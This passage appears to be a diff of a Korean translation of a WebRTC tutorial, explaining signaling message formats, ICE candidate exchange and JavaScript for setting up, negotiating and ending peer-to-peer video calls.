+    for (i=0; i<connectionArray.length; i++) {
+      connectionArray[i].sendUTF(msgString);
+    }
+  }
+}
+ +

이 코드는 메세지에서 target 특성이 정의되었는지 체크한다. 이 특성은 메세지를 전달하고 싶은 사람의 username으로 정의할 수 있다. 만약 target파라미터가 존재한다면, sendToOneUser()함수를 콜하면서 그 유저에게 메세지를 전송한다. 그렇지 않다면, 모든 유저에게 메세지를 브로드케스트를 한다.

+ +

위에 있는 코드는 별도의 수정이 필요 없이 임의의 메세지 타입들을 보낼 수 있다. 클라이언트들은 이제 특정한 유저에게 unknown 타입의 메세지도 보낼수 있고, 시그널링 메세지를 원하는 대로 보낼 수 있다. 구체적인 내용은 다음을 살펴보자.

+ +

Designing the signaling protocol

+ +

이제 우리는 메세지를 교환하는 메커니즘을 만들었다. 이제 메세지들을 어떻게 구성할지에 대한 프로토콜이 필요하다. 이것은 여러 가지 방법으로 가능한데, 여기서 다루는 것은 그 중 하나의 시그널링 메세지 구조이다.

+ +

우리가 제공하는 시그널링 서버는 stringified JSON object 을 가지고 클라언트간에 데이터를 주고 받는다. 즉, 이것은 시그널링 메세지들이 JSON format으로 되어있으며, 메세지의 type 등 메세지를 적절하게 처리할 수 있도록 여러 정보들이 포함되어 있다.

+ +

Exchanging session descriptions

+ +

시그널링 프로세스를 시작할 때, call을 시작 하는 유저가 offer 란 것을 만든다. 이 offer는 세션 정보를 SDP 포맷으로 가지고 있으며, 커넥션이 이어지기를 원하는 유저(callee)에게 전달되어야 한다. Callee 는 이 offer에 SDP description을 포함하는 answer 메세지를 보내야한다. 우리가 사용할 offer 메세지들은 "video-offer" 이라는 타입을 사용할 것이고 answer 메세지들은 "video-answer" 타입의 메세지를 사용할 것이다. 이 메세지들은 아래와 같은 field를 가진다.

+ +
+
type
+
메세지의 타입이라; "video-offer" 또는 "video-answer".
+
name
+
보내는 사람의 username 이다.
+
target
+
받는 사람의 username이다. (만약 caller가 메세지를 보낸다면, target은 callee 를 뜻한다, vice-versa.)
+
sdp
+
커넥션의 local 정보를 설명하는 SDP (Session Description Protocol) 스트링(e.g. 수신자의 관점으로 볼 때, SDP는 커넥션의 remote 정보이다.)
+
+ +

현 시점에서 두 피어들은 이 call에 대해 어떤 코덱들과 어떤 video parameter들이 사용될지 알게 된다. 하지만, 그들은 여전히 미디어 데이터 자체를 전송하는 방법을 모른다. 여기서 Interactive Connectivity Establishment (ICE)가 사용된다.

+ +

Exchanging ICE candidates

+ +

SDP를 서로 교환한 후에, 두 피어들은 ICE candidate(ICE 후보)들을 교환하기 시작한다. 각 ICE candidate는 발신 피어 입장에서 통신을 할 수 있는 방법을 설명한다. 각 피어는 검색되는 순서대로 candidate를 보내고 미디어가 이미 스트리밍을 시작 했더라도 모든 가능한 candidate가 전송 완료될 때까지 계속 보낸다. 두 피어가 서로 호환되는 candidate를 제안했다면, 미디어는 통신을 시작한다. 만약 나중에 더 나은 방법이 있다면(더 높은 성능을 가지는), 그 스트림은 필요에 따라 포맷을 바꿀 수도 있다.

+ +

비록 지금은 지원하지 않지만, 이 기술은 이론상 낮은 bandwidth의 연결에 대해 다운그레이드에 사용될 수 있다.

+ +

시그널링 서버를 통해 전달되는 ICE candidate들에 관한 메세지의 타입은 "new-ice-candidate" 이며, 이 메세지들은 아래 field를 가진다.

+ +
+
type
+
메세지 타입 : "new-ice-candidate".
+
target
+
현재 협상을 진행 중인 사람의 username. 시그널링 서버는 이 유저에게만 직접 메세지를 보낸다.
+
candidate
+
제안된 커넥션 방법을 설명하는 SDP candidate string.
+
+ +

각 ICE 메세지들은 두 개의 컴퓨터를 서로 연결하기 위한 정보들에 덧붙여 프로토콜(TCP or UDP), IP 주소, 포트 넘버, 커넥션 타입 등을 제안한다. 여기에는 NAT 혹은 다른 복잡한 네트워킹을 포함한다.

+ +
+

중요. ICE negotiation 동안 너의 코드가 해야할 것은 오직 ICE layer에서 외부로 나갈 candidate들을 선택하는 것과, onicecandidatehandler가 불렸을 때 시그널링 서버를 통해 그것들을 다른 피어에 보내는 것이다. 그리고 시그널링 서버로부터 ICE candidate 메세지를 받고 RTCPeerConnection.addIceCandidate()를 호출하여 너의 ICE layer에 그들을 전달한다. 그것 뿐이다. 정확히 무엇을 하는지 알기 전까진, 더 이상 깊이 생각하지 말자!

+
+ +

너의 시그널링 서버가 이제 해야할 일은 요청된 메세지를 보내는 것이다. 부가적으로 login/authentication 같은 기능들이 필요할 수도 있는데, 자세한 내용은 달라질 수 있다.

+ +

Signaling transaction flow

+ +

시그널링 정보는 연결할 두 피어들 사이에서 교환된다. 아주 기초적인 수준에서 어떤 메세지들이 누가 누구에게 왜 전달해야하는지 보자.

+ +

시그널링 프로세스는 다양한 부분에서 다음과 같은 메시지 교환을 포함한다. 각 유저의 채팅 시스템의 웹 애플리케이션 인스턴스, 각 유저의 브라우저, 시그널링 서버 그리고 호스팅 웹 서버 등.

+ +

Naomi와 Priya는 채팅 소프트웨어를 사용해 대화에 참여했고 Naomi는 둘 사이에 영상 통화를 하기로 결정한다. 다음 표는 이벤트들이 발생하는 과정이다.

+ +

Diagram of the signaling process

+ +

곧 더 자세한 설명을 볼 수 있다.

+ +

ICE candidate exchange process

+ +

각 피어들의 ICE layer에서 candidate들을 보내기 시작할 때, 다음 그림과 같은 교환이 일어난다.

+ +

Diagram of ICE candidate exchange process

+ +

각 피어들은 candidate 들을 전송하고, 준비가 되면 받은 candidate 들을 처리한다. Candidate들은 양 피어들이 동의할 때까지 계속 교환되며, 미디어가 송수신 되도록 만든다. "ICE exchange"은 양측이 교대로 제안을하는 것을 의미하지 않는다. 올바르게 작동할 경우, 각 피어들은 모두 소진되거나 서로 동의할 때까지 상대방에게 제안할 candidate 들을 계속 전송한다.

+ +

만약 조건들이 바뀐다면, 예를들어 네트워크 커넥션이 악화되면, 하나 혹은 양 피어들은 낮은 bandwidth의 미디어 해상도로 바꾸거나 다른 코덱을 사용하자고 제안할 것이다. 다음 candidate 교환에서 양 피어 모두 새로운 포맷에 동의한다면, 다른 미디어 포맷 혹은 다른 코덱으로 바뀔 수도 있다.

+ +

부가적으로 만약 ICE layer 내부의 프로세스를 더 자세히 이해하고 싶다면 RFC 5245: Interactive Connectivity Establishment,section 2.6 ("Concluding ICE") 를 참조해라. ICE layer가 준비 되자마자 candiate들이 교환되고 미디어들은 통신되기 시작한다는 것을 기억해라. 이 모든 것은 뒤에서 알아서 돌아간다. 우리의 역할은 그저 시그널링 서버를 통해 candidate들을 서로에게 보내는 것이다.

+ +

The client application

+ +

지금부터 위에서 설명한 개념들을 샘플 코드를 통해서 자세히 배워보자.

+ +

어떤 시그널링 프로세스든지 핵심은 메세지 핸들링에 있다. Websocket을 시그널링에 꼭 사용할 필요는 없지만, 일반적인 솔루션으로 쓰인다. 다른 솔루션도 충분히 빠르고 같은 결과를 볼 수 있다.

+ +

Updating the HTML

+ +

클라이언트는 비디오를 표시할 공간이 필요하다. 2개의 video와 전화를 걸 button 을 정의한 HTML 코드이다.

+ +
      <div class="flexChild" id="camera-container">
+        <div class="camera-box">
+          <video id="received_video" autoplay></video>
+          <video id="local_video" autoplay muted></video>
+          <button id="hangup-button" onclick="hangUpCall();" disabled>
+            Hang Up
+          </button>
+        </div>
+      </div>
+ +

위에 있는 page structure은 <div>태그를 이용하고 CSS 사용을 허용함으로써 페이지 레이아웃 전체를 구성한다. 여기서는 레이아웃에 관한 자세한 내용은 스킵하지만, 위의 코드가 어떻게 돌아가는지 확인해보자. take a look at the CSS on Github. 두개의 <video> 중 하나는 너의 self video이고 다른 하나는 상대방의 video를 위한 요소이다.

+ +

id가 "received_video" 인 <video>element는 연결된 상대방으로부터 수신되는 비디오를 보여주는 곳이다. autoplayattribute는 비디오가 도달하기 시작하면 즉시 재생시키는 역할을 한다. 이것은 따로 재생에 관련된 코드를 처리할 필요를 없애준다. id가 "local_video" 인 <video>element에는 너의 카메라의 영상이 나오게된다. muted attribute는 너의 로컬 오디오를 음소거한다.

+ +

마지막으로, 통화를 끊을 수 있는 id가 "hangup-button"인 <button>은 비활성화 된 상태(아무 전화도 연결되지 않은 default 상태)로 구성된다. 그리고 이 버튼을 클릭시에 hangUpCall()함수가 실행 된다. 이 함수의 역할은 현재 연결된 call을 끊고 다른 피어에게 연결을 끊으라는 메세지를 전달한다.

+ +

The JavaScript code

+ +

어떻게 돌아가는지 알기 쉽게 하기 위해 각 기능별로 코드를 나누었다. 이 코드의 메인 부분은 connect()함수 안에 있다. 이 함수 안에서 6503 포트로 WebSocketserver에 연결하며, JSON object format의 메세지를 받기 위한 handler를 설정한다. 이 코드는 일반적으로 이전처럼 문자 채팅 메세지를 처리한다.

+ +

Sending messages to the signaling server

+ +

코드 전반에 걸쳐서 시그널링 서버에 메세지를 보내기 위해 sendToServer()함수를 호출한다. 이 함수는 WebSocket 커넥션을 이용하여 작동한다.

+ +
function sendToServer(msg) {
+  var msgJSON = JSON.stringify(msg);
+
+  connection.send(msgJSON);
+}
+ +

전달된 메세지 object는 JSON.stringify()함수에 의해 JSON string으로 바뀐다. 그 후, WebSocket 커넥션의 send()함수를 통해 서버로 전달된다.

+ +

UI to start a call

+ +

"userlist"에 관한 코드는 handleUserlistMsg()함수에 있다. 왼쪽 채팅 패널에 보여지는 유저 리스트에 있는 각 연결된 유저 마다 handler 를 걸어준다. 이 함수는 (온라인 상태인 유저들의 username을 배열로 저장하고 있는) usersproperty를 가지고 있는 메세지 object를 받는다. 이해하기 쉽도록 여러 섹션들에서 이 코드를 살펴 보겠다.

+ +
function handleUserlistMsg(msg) {
+  var i;
+
+  var listElem = document.getElementById("userlistbox");
+
+  while (listElem.firstChild) {
+    listElem.removeChild(listElem.firstChild);
+  }
+
+  // …
+ +

listElem변수를 통해 username들의 리스트인 <ul>을 참조한다. 그런 다음에 각 child element를 하나씩 제거하면서 목록을 비운다 .

+ +
+

명백히, 바뀔 때마다 전체 리스트를 새로 만드는 것보다, 개개인을 추가 및 제거 후 업데이트하는 것이 더 효율적이다. 그러나, 예제이므로 단순하게 하겠다.

+
+ +

그 후, 새로운 user 리스트를 만든다.

+ +
  // …
+
+  for (i=0; i < msg.users.length; i++) {
+    var item = document.createElement("li");
+    item.appendChild(document.createTextNode(msg.users[i]));
+    item.addEventListener("click", invite, false);
+
+    listElem.appendChild(item);
+  }
+}
+
+ +

다음으로 (채팅 서버에) 현재 연결된 각 유저들 각각을 나타내는 <li>element들을 DOM에 추가한다. 그런 다음에, username이 클릭 되었을 때 invite()함수를 실행시키는 listener을 추가한다. 이 함수 이것은 다른 유저에게 call을 하는 process를 시작한다.

+ +

Starting a call

+ +

통화를 하고 싶은 유저의 username을 클릭을 하면, click event의 handler인invite()함수가 실행된다.

+ +
var mediaConstraints = {
+  audio: true, // We want an audio track
+  video: true // ...and we want a video track
+};
+
+function invite(evt) {
+  if (myPeerConnection) {
+    alert("You can't start a call because you already have one open!");
+  } else {
+    var clickedUsername = evt.target.textContent;
+
+    if (clickedUsername === myUsername) {
+      alert("I'm afraid I can't let you talk to yourself. That would be weird.");
+      return;
+    }
+
+    targetUsername = clickedUsername;
+
+    createPeerConnection();
+
+    navigator.mediaDevices.getUserMedia(mediaConstraints)
+    .then(function(localStream) {
+      document.getElementById("local_video").srcObject = localStream;
+      myPeerConnection.addStream(localStream);
+    })
+    .catch(handleGetUserMediaError);
+  }
+}
+ +

가장 먼저 해야할 일은 빠르게 여러 상태들을 점검하는 것이다. 유저가 이미 call을 열었는지, 혹은 유저가 자신에게 call을 신청했는지 등, 이 케이스들에는 새로운 call을 시도할 이유가 없다. 따라서 왜 call을 하지 못하는지 alert()를 통해 설명한다.

+ +

그 다음에 call을 하려는 유저의 이름을 targetUsername변수 안에 넣고 createPeerConnection()함수를 실행시킨다. 이 함수는 RTCPeerConnection 의 기본적인 구성과 기능을 수행한다.

+ +

RTCPeerConnection 이 생성되면, Navigator.mediaDevices.getUserMedia함수를 통해 유저의 카메라와 마이크에 권한을 요청한다. 카메라와 마이크에서 나오는 로컬 스트림을 로컬 비디오 preview의 srcObjectproperty에 설정한다. 그리고 <video>element가 자동으로 들어오는 비디오를 재생하도록 구성되었기 때문에, stream은 로컬 preview box에서 재생을 시작한다.

+ +

그 다음에 RTCPeerConnection에 stream을 추가하기 위해 myPeerConnection.addStream()함수를 실행한다. WebRTC 커녁션이 완전히 준비되지 않았더라도 WebRTC 커넥션에 stream을 보내기 시작한다.

+ +

만약 local media stream을 가져오는 동안 에러가 발생한다면, catch clause가 handleGetUserMediaError()함수를 불러 필요에 따라 유저에게 적절한 에러 메세지를 보여줄 것이다.

+ +

Handling getUserMedia() errors

+ +

getUserMedia()에 의해 리턴된 promise가 실패로 끝나면, handleGetUserMediaError()함수가 실행된다.

+ +
function handleGetUserMediaError(e) {
+  switch(e.name) {
+    case "NotFoundError":
+      alert("Unable to open your call because no camera and/or microphone" +
+            "were found.");
+      break;
+    case "SecurityError":
+    case "PermissionDeniedError":
+      // Do nothing; this is the same as the user canceling the call.
+      break;
+    default:
+      alert("Error opening your camera and/or microphone: " + e.message);
+      break;
+  }
+
+  closeVideoCall();
+}
+ +

에러 메세지는 모든 케이스 중 하나만 표시된다. 이 예제에서 call을 취소하는 거와 같이, 미디어 하드웨어의 접근 권한을 거부하는 것에 대해 발생하는 에러들( "SecurityError" 와"PermissionDeniedError")은 무시한다.

+ +

Stream을 가져오는 것을 실패하는 이유와 관계 없이, RTCPeerConnection을 닫기 위해 closeVideoCall()function를 부른다. 그리고 call을 하기 위해 할당된 리소스들을 반납한다. 이 코드는 일부분만 실행된 call을 안전하게 처리할 수 있도록 설계되었다.

+ +

Creating the peer connection

+ +

createPeerConnection()함수는 caller와 callee에서 WebRTC 커넥션의 각 종점을 나타내는 RTCPeerConnectionobject를 생성하는데 사용된다. Caller는 invite()함수를 통해, callee는 handleVideoOfferMsg() 에 의해 실행된다.

+ +

이것은 상당히 명료하다:

+ +
var myHostname = window.location.hostname;
+
+function createPeerConnection() {
+  myPeerConnection = new RTCPeerConnection({
+      iceServers: [     // Information about ICE servers - Use your own!
+        {
+          urls: "turn:" + myHostname,  // A TURN server
+          username: "webrtc",
+          credential: "turnserver"
+        }
+      ]
+  });
+
+// …
+
+ +

웹서버와 같은 호스트에 STUN/TURN 서버를 돌리고 있기 때문에, STUN/TURN 서버의 도메인 이름을 location.hostname을 사용하여 설정했다. 만약 다른 서버의 STUN/TURN 서버를 사용한다면 urls 값을 그 서버로 바꿔주면 된다.

+ +

RTCPeerConnection을 만들 때, call을 구성하는 파라미터들을 명시해줘야한다. 가장 중요한 것은 STUN/TURN 서버의 리스트(ICE layer에서 caller와 callee의 경로를 찾는데 사용되는 서버)를 담고 있는 iceServers이다(주의. 웹소켓을 이용한 시그널링 서버와 전혀 다른 개념이다). WebRTC는 두 피어가 방화벽이나 NAT 뒤에 숨어 있어도, 각 피어들의 서로 연결될 수 있도록 피어간 연결 경로를 찾아주는 프로토콜(STUN, TURN)을 사용한다.

+ +
+

직접 만든 혹은 사용할 권한을 가지고 있는 STUN/TURN 서버를 사용해야 한다.

+
+ +

iceServersparameter는 object의 배열이고 각각은 STUN/TURN 서버의 URL인 urlsfield를 무조건 포함한다. 예제에서, ICE layer에서 다른 피어를 찾아 연결 시키기 위한 서버를 제공한다. 이 서버는 TURN 서버이며, Web 서버와 같은 hostname에서 돌아간다. TURN 서버의 description에 usernamecredentialfield에 각각 username과 password 정보를 항상 포함시켜야한다는 것을 유의해라.

+ +
Set up event handlers
+ +

RTCPeerConnection이 생성되면, 중요한 이벤트들을 위한 handler를 설정해야한다.

+ +
// …
+  myPeerConnection.onicecandidate = handleICECandidateEvent;
+  myPeerConnection.onaddstream = handleAddStreamEvent;
+  myPeerConnection.onremovestream = handleRemoveStreamEvent;
+  myPeerConnection.oniceconnectionstatechange = handleICEConnectionStateChangeEvent;
+  myPeerConnection.onicegatheringstatechange = handleICEGatheringStateChangeEvent;
+  myPeerConnection.onsignalingstatechange = handleSignalingStateChangeEvent;
+  myPeerConnection.onnegotiationneeded = handleNegotiationNeededEvent;
+}
+ +

위에 있는 이벤트 핸들러 중 처음 두 개는 필수이다. WebRTC로 스트리밍된 미디어와 관련된 것들을 다루기위해 두 핸들러를 설정해야한다. removestreamevent는 스트리밍이 중단된 것을 감지하는데 유용하다. 따라서 아마 이것도 사용하게 될 것이다. 남아 있는 4개는 필수적인 것은 아니나, 직접 사용해보자. 이것들 외에도 다른 이벤트들을 사용할 수 있으나 여기에서는 다루지 않겠다. 각 핸들러에 관한 요약 설명이다.

+ +
+
{{domxref("RTCPeerConnection.onicecandidate")}}
+
로컬 ICE layer는 시그널링 서버를 통해 다른 피어에 ICE candidate를 전송하고자 할 때, 너의 icecandidateevent handler를 호출한다.
+
{{domxref("RTCPeerConnection.onaddstream")}}
+
addstreamevent를 위한 이 핸들러는 너의 커넥션에 remote stream이 추가된 것을 알려주기 위해, 로컬 WebRTC layer에 의해 불려진다. 예를들어, 이것은 들어오는 stream을 element에 연결시켜 디스플레이 되게 만들 때 사용된다. 더 자세한 내용은 Receiving new streams 을 참조해라.
+
{{domxref("RTCPeerConnection.onremovestream")}}
+
커넥션에서 remote가 stream을 제거할 때, onaddstream의 반대인 onremovestream은 removestream event을 처리하기위해 실행된다.
+
{{domxref("RTCPeerConnection.oniceconnectionstatechange")}}
+
ICE 커넥션의 상태 변경을 알리기위해 ICE layer가 iceconnectionstatechange event 를 보낸다. 이것을 통해 커넥션이 실패하거나 끊어지는 것을 알 수 있다. 이 것에 대한 예제를 아래의 ICE connection state 에서 볼 것이다.
+
{{domxref("RTCPeerConnection.onicegatheringstatechange")}}
+
하나의 상태에서 다른 상태(예를들어, candidate를 모으기 시작하거나 negotiation이 끝났을 때)로 ICE agent의 candidate 수집 프로세스가 변하면, ICE layer는 icegatheringstatechange event를 보낸다. 아래의 ICE gathering state 을 참조해라.
+
{{domxref("RTCPeerConnection.onsignalingstatechange")}}
+
시그널링 프로세스의 state가 바뀌게 될 때, WebRTC 인프라는 너에게 signalingstatechange message를 보낸다. Signaling state 에서 코드를 볼 수 있다.
+
{{domxref("RTCPeerConnection.onnegotiationneeded")}}
+
이 함수는 WebRTC 인프라가 session negotiation 프로세스를 새로 시작해야할 때마다 불린다. 이것의 일은 callee에게 offer를 생성 후 전달하고, 우리에게 연결을 할 것인지 물어보는 것이다. 어떻게 처리하는지 Starting negotiation 를 참조해라.
+
+ +

Starting negotiation

+ +

Caller가 자신의 RTCPeerConnection과 media stream을 생성하고 Starting a call에서 보이는 것처럼 커넥션에 추가하면, 브라우져는 다른 피어와 커넥션이 준비가 될 때 negotiationneeded event를 활성화 시킬 것이다. 밑에는 이벤트를 핸들링하는 코드이다.

+ +
function handleNegotiationNeededEvent() {
+  myPeerConnection.createOffer().then(function(offer) {
+    return myPeerConnection.setLocalDescription(offer);
+  })
+  .then(function() {
+    sendToServer({
+      name: myUsername,
+      target: targetUsername,
+      type: "video-offer",
+      sdp: myPeerConnection.localDescription
+    });
+  })
+  .catch(reportError);
+}
+ +

Negotiation 프로세스를 시작하기 위해, 우리가 연결하고자 하는 피어에게 SDP offer를 생성하고 전송해야한다. 이 offer는 커넥션에 로컬로 추가한 media stream 정보(call의 다른 피어에게 전달하고 싶은 비디오)와 ICE layer에 의해 미리 모아 놓은 ICE candidates 정보들을 포함해, 커넥션에 지원되는 구성 목록들을 포함한다. myPeerConnection.createOffer()를 호출함으로써 이 offer를 생성한다. 이 것이 성공한다면(promise에서 fulfill되면), myPeerConnection.setLocalDescription()으로 생성된 offer 정보를 전달한다.myPeerConnection.setLocalDescription()은 커넥션에서 자신의 미디어 구성 상태나 연결 정보들을 구성한다.

+ +
+

기술적으로 말하자면, createOffer()에 의해 리턴되는 blob은 RFC 3264 offer 이다.

+
+ +

setLocalDescription()이 완료되어 promise를 리턴하면, description 이 유효하고 세팅 되었음을 알 수 있다. 그 이후에 local description을 포함하는 새로운 "video-offer"message를 만들어 시그널링 서버를 통해 다른 피어에게 전송한다. 이 offer는 다음과 같은 내용을 가진다.

+ +
+
type
+
메세지의 타입은 "video-offer".
+
name
+
caller의 username.
+
target
+
call을 하고자 하는 user의 name.
+
sdp
+
offer에 관한 설명을 하는 SDP blob.
+
+ +

createOffer()이나 다른 fulfillment 핸들러에서 에러가 발생한다면, reportError()함수가 실행되어 에러를 보고한다.

+ +

setLocalDescription()의 fulfillment 핸들러가 실행되면, ICE agent는 icecandidateevent들을 처리하기 시작한다.

+ +

Session negotiation

+ +

이제 다른 피어와 협상을 할 것이다. 다른 피어는 우리의 offer를 받을 것이고, handleVideoOfferMsg()에 전달한다. Callee에게 "video-offer"message가 도착 했을 때의 이야기를 계속해보자.

+ +
Handling the invitation
+ +

offer가 도착할 때, callee의 handleVideoOfferMsg()함수가 실행되고, offer를 포함한 "video-offer"message를 받을 것이다. 이 코드는 2가지를 해야한다. 첫째, 자기 자신의 RTCPeerConnection과 media stream을 생성해야 한다. 두번째, 받은 offer를 분석하고 애이에 대한 answer를 만들어 보내야한다.

+ +
function handleVideoOfferMsg(msg) {
+  var localStream = null;
+
+  targetUsername = msg.name;
+
+  createPeerConnection();
+
+  var desc = new RTCSessionDescription(msg.sdp);
+
+  myPeerConnection.setRemoteDescription(desc).then(function () {
+    return navigator.mediaDevices.getUserMedia(mediaConstraints);
+  })
+  .then(function(stream) {
+    localStream = stream;
+
+    document.getElementById("local_video").srcObject = localStream;
+    return myPeerConnection.addStream(localStream);
+  })
+
+// …
+
+ +

이 코드는 Starting a call에 있는 invite()함수와 매우 비슷하다. 먼저, createPeerConnection()함수를 이용해서 RTCPeerConnection를 생성하고 구성한다. 그 후에, "video-offer"message로부터 얻은 SDP offer를 가지고 caller의 session description을 나타내는 RTCSessionDescriptionobject를 생성한다.

+ +

그 후에, session description은 myPeerConnection.setRemoteDescription() 안으로 전달된다. 이를 통해, 받은 offer를 caller의 session 정보로 저장한다. 설정에 성공했다면, promise fulfillment handler(then()clause)은 callee의 카메라와 마이크에 접근하고 stream을 설정하는 등 이전에 invite()에서 본 것과 같은 프로세스를 시작한다.

+ +

local stream이 작동한다면, 이제 SDP answer를 만든 후 caller에게 보내야 한다.

+ +
  .then(function() {
+    return myPeerConnection.createAnswer();
+  })
+  .then(function(answer) {
+    return myPeerConnection.setLocalDescription(answer);
+  })
+  .then(function() {
+    var msg = {
+      name: myUsername,
+      target: targetUsername,
+      type: "video-answer",
+      sdp: myPeerConnection.localDescription
+    };
+
+    sendToServer(msg);
+  })
+  .catch(handleGetUserMediaError);
+}
+ +

RTCPeerConnection.addStream() 이 성공적으로 완료되었다면, 그 다음 fulfillment handler가 실행될 것이다. SDP answer string을 만들기 위해 myPeerConnection.createAnswer()를 실행한다. 커넥션에서 callee의 로컬 description을 설정하기 위해 myPeerConnection.setLocalDescription에 생성한 SDP를 전달한다.

+ +

최종 answer는 caller에게 보내져서, 어떻게 callee에게 닿을 수 있는지 알게해준다. "video-answer"message의 sdpproperty에 callee의 answer를 포함하고, caller에게 이 메세지를 전달한다.

+ +

에러가 발생하면 handleGetUserMediaError()으로 전달되고, Handling getUserMedia() errors에 잘 설명되어 있다.

+ +
+

caller와 마찬가지로 setLocalDescription()fulfillment handler가 실행되면, 브라우져는 callee가 반드시 처리해야하는 icecandidateevent들을 처리하기 시작한다.

+
+ +
Sending ICE candidates
+ +

caller가 callee로부터 answer를 받으면 모든 것이 끝났다고 생각할 수 있지만, 그렇지 않다. 뒷단 에서는 각 피어들의 ICE agent들이 열심히 ICE candidate message들을 교환한다. 미디어 통신이 어떻게 연결될 수 있는지에 대한 방법들을 알릴 때까지, 각 피어들은 상대방에게 계속해서 candidate들을 보낸다. 이 candidate들은 너의 시그널링 서버를 통해서 전송되어야 한다. ICE는 너의 시그널링 서버에 대해 모르기 때문에, 너는 icecandidateevent를 위한 핸들러를 불러서 전송된 candidate 들을 너의 코드로 직접 처리해야한다.

+ +

너의 onicecandidatehandler는 candidateproperty가 candidate의 정보를 담고 있는 SDP(단, candidate들의 끝에는null이 찍혀있다) 인 이벤트들을 받는다. 이것이 너의 시그널링 서버를 통해 다른 피어에게 전송해야할 것들이다. 밑에 구현 예제가 있다.

+ +
function handleICECandidateEvent(event) {
+  if (event.candidate) {
+    sendToServer({
+      type: "new-ice-candidate",
+      target: targetUsername,
+      candidate: event.candidate
+    });
+  }
+}
+ +

이 코드에서 candidate를 포함하는 object를 만들고 다른 피어에 보낸다. sendToServer()함수는 위에서 이미 다뤘으며 Sending messages to the signaling server에 코드가 있다. message의 property들이 의미하는 것은 다음과 같다.

+ +
+
target
+
ICE candidate가 보내야하는 곳의 username. 이것을 통해 시그널링 서버가 메세지를 타겟에게 전달한다.
+
type
+
메세지 타입은 "new-ice-candidate".
+
candidate
+
ICE layer가 다른 피어에게 전송하고자하는 candidate object.
+
+ +

메세지의 포맷(시그널링을 처리하는 모든 메세지들은)은 모두 너의 영역이고, 너가 필요한 것에 달렸다. 너가 또다른 필요한 정보가 있다면 추가할 수 있다. 메세지는 그저 JSON stringfied 되어 상대방에게 전달될 뿐이다.

+ +
+

Call의 다른 피어로부터 ICE candidate가 도착할 때, icecandidateevent가 전송되는 것이 아님을 항상 명심해라. 대신에 너 자신이 call을 할 때 보내는 것으로, 너가 원하는 채널을 통해 data를 보낼 수 있다. WebRTC를 처음 접한다면 매우 헷갈릴 것이다.

+
+ +
Receiving ICE candidates
+ +

시그널링 서버는 어떤 방법을 고르던 간에 각 ICE candidate를 목적지까지 배달한다. 이번 예제 에서는 type이 "new-ice-candidate"인 JSON object를 사용한다. handleNewICECandidateMsg()함수는 이 메세지들을 처리하기 위해 실행된다.

+ +
function handleNewICECandidateMsg(msg) {
+  var candidate = new RTCIceCandidate(msg.candidate);
+
+  myPeerConnection.addIceCandidate(candidate)
+    .catch(reportError);
+}
+ +

수신된 SDP를 RTCIceCandidate 생성자의 인자로서 전달하여 object를 생성하고, 이 object를 myPeerConnection.addIceCandidate() 에 전달한다. 이 함수를 통해 새로운 ICE candidate를 local ICE layer에 전달하고, 드디어 candidate 를 핸들링하는 프로세스에서 우리의 역할은 끝났다.

+ +

각 피어는 작동할 것으로 보이는 각 커넥션 메소드의 candidate를 다른 피어에게 보낸다. 양측은 합의에 도달하고 커넥션을 open한다. 협약을 진행 중에도 더 나은 커넥션 메소드를 찾거나, 단순히 피어가 커넥션을 설정할 때 candidate 교환이 진행 중이었을 수 있기 때문에, candidate는 여전히 송,수신 될 수 있음을 기억해라.

+ +
Receiving new streams
+ +

리모트 피어가 RTCPeerConnection.addStream()를 부름으로써, 또는 stream format에 대한 renegotiation(재협상)에 의해 새로운 스트림이 커넥션에 추가되었을 때, addstreamevent가 발생한다. 어떻게 처리하는지 아래 코드를 보자.

+ +
function handleAddStreamEvent(event) {
+  document.getElementById("received_video").srcObject = event.stream;
+  document.getElementById("hangup-button").disabled = false;
+}
+ +

이 함수는 들어오는 stream을 id가 "received_video"인 <video>element에 할당하고, 유저가 전화를 받을 수 있도록 버튼을 활성화한다.

+ +

이 코드가 제대로 실행된다면, 드디어 다른 피어에서 오는 비디오를 로컬 브라우저에서 볼 수 있게 된다!

+ +
Handling the removal of streams
+ +

리모트 피어가 RTCPeerConnection.removeStream()를 호출하여 커넥션으로부터 스트림을 없애면, removestreamevent가 발생하게 된다.

+ +
function handleRemoveStreamEvent(event) {
+  closeVideoCall();
+}
+ +

이 함수는 closeVideoCall()함수를 실행시켜 call이 닫히도록 만들고, 다른 커넥션을 시작할 수 있도록 기존 인터페이스를 버린다. 어떻게 코드가 동작하는지 Ending the call을 참조해라.

+ +

Ending the call

+ +

There are many reasons why calls may end. A call might have completed, with one or both sides having hung up. Perhaps a network failure has occurred. Or one user might have quit their browser, or had a systen crash.

+ +
Hanging up
+ +

When the user clicks the "Hang Up" button to end the call, the hangUpCall() function is apllied:

+ +
function hangUpCall() {
+  closeVideoCall();
+  sendToServer({
+    name: myUsername,
+    target: targetUsername,
+    type: "hang-up"
+  });
+}
+ +

hangUpCall() executes closeVideoCall(), shutting down and resetting the connection and related resources. We then build a "hang-up" message, sending this to the other end of the call, allowing the other peer to neatly shut down.

+ +
Ending the call
+ +

아래에 있는 closeVideoCall()함수는 stream들을 멈추고 지운 후에,RTCPeerConnectionobject를 없앤다.

+ +
function closeVideoCall() {
+  var remoteVideo = document.getElementById("received_video");
+  var localVideo = document.getElementById("local_video");
+
+  if (myPeerConnection) {
+    if (remoteVideo.srcObject) {
+      remoteVideo.srcObject.getTracks().forEach(track => track.stop());
+      remoteVideo.srcObject = null;
+    }
+
+    if (localVideo.srcObject) {
+      localVideo.srcObject.getTracks().forEach(track => track.stop());
+      localVideo.srcObject = null;
+    }
+
+    myPeerConnection.close();
+    myPeerConnection = null;
+  }
+
+  document.getElementById("hangup-button").disabled = true;
+
+  targetUsername = null;
+}
+ +

2개의 <video>element를 참조한 이후에, WebRTC 커넥션이 존재하는지 체크한다. 만약 있다면, call을 끊고 닫는다:

+ +
    +
  1. 리모트와 로컬 비디오 stream에 대해서, 각 track들 마다 MediaTrack.stop()를 실행시킨다.
  2. +
  3. 양 비디오의 HTMLMediaElement.srcObjectproperty를 null로 바꿔 stream에 관한 모든 참조를 푼다.
  4. +
  5. +

    myPeerConnection.close()를 불러 RTCPeerConnection을 닫는다.

    +
  6. +
  7. +

    myPeerConnection변수의 값을 null로 바꿔서 계속 진행중인 call이 없다는 것을 전체 코드가 알게 한다. 이것은 유저가 유저 리스트에서 username을 클릭할 때 사용된다.

    +
  8. +
+ + + +

